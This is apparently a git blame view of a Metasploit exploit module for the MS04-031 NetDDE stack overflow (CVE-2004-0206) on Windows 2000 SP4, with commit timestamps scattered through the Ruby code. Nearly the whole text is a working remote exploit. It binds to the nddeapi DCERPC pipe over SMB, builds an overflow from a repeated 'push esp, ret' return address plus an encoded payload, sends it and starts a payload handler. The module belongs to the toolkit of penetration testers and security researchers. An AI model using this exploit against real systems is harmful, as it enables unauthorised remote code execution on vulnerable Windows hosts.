2005-12-18 07:50:48 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
|
|
class Exploits::Windows::Smb::MS04_039_NETDDE < Msf::Exploit::Remote
|
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
include Exploit::Remote::SMB
|
2005-12-18 07:50:48 +00:00
|
|
|
include Exploit::Remote::DCERPC
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Microsoft Network Dynamic Data Exchange Server MS04-031',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack overflow in the NetDDE service, which is the
|
2006-01-27 05:00:35 +00:00
|
|
|
precursor tothe DCOM interface. This exploit effects only Pre-Windows XP
|
|
|
|
SP1 operating systems. Also, despite Microsoft's claim that this is PreAuth,
|
|
|
|
Auth seems to be required to reach the nddeapi entrypoint.
|
2005-12-18 07:50:48 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'pusscat' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-12-18 07:50:48 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVDB', '10689'],
|
|
|
|
[ 'CVE', '2004-0206'],
|
|
|
|
[ 'MSB', 'MS04-031'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
2006-01-27 05:00:35 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread'
|
|
|
|
},
|
2005-12-18 07:50:48 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
2006-01-27 05:00:35 +00:00
|
|
|
'Space' => (0x600 - (133*4) - 4),
|
|
|
|
'BadChars' => "\\/.:$\x00", # \ / . : $ NULL
|
|
|
|
'Prepend' => 'A' * 8,
|
2005-12-18 07:50:48 +00:00
|
|
|
},
|
2006-02-21 14:27:28 +00:00
|
|
|
'Platform' => 'win',
|
2005-12-18 07:50:48 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[
|
|
|
|
'Windows 2000 SP4',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Rets' => [ 0x77e56f43 ], # push esp, ret :)
|
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0))
|
2006-01-27 05:00:35 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'nddeapi']),
|
|
|
|
], self.class)
|
2005-12-18 07:50:48 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2006-01-27 05:00:35 +00:00
|
|
|
connect
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
handle = dcerpc_handle('2f5f3220-c126-1076-b549-074d078619da', '1.2', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
|
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
|
|
|
|
retOverWrite =
|
|
|
|
'AA' + (NDR.long(target['Rets'][0]) * 133) + payload.encoded
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
overflowChunk =
|
|
|
|
retOverWrite +
|
|
|
|
NDR.long(0xCA7CA7) + # Mew. 3 bytes enter. 1 byte null.
|
|
|
|
NDR.long(0x0)
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
stubdata =
|
|
|
|
NDR.UnicodeConformantVaryingStringPreBuilt(overflowChunk) +
|
|
|
|
NDR.long(rand(0xFFFFFFFF))
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
print_status('sending exploit ...')
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
begin
|
|
|
|
response = dcerpc.call(0xc, stubdata)
|
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
|
|
end
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
2005-12-18 07:50:48 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|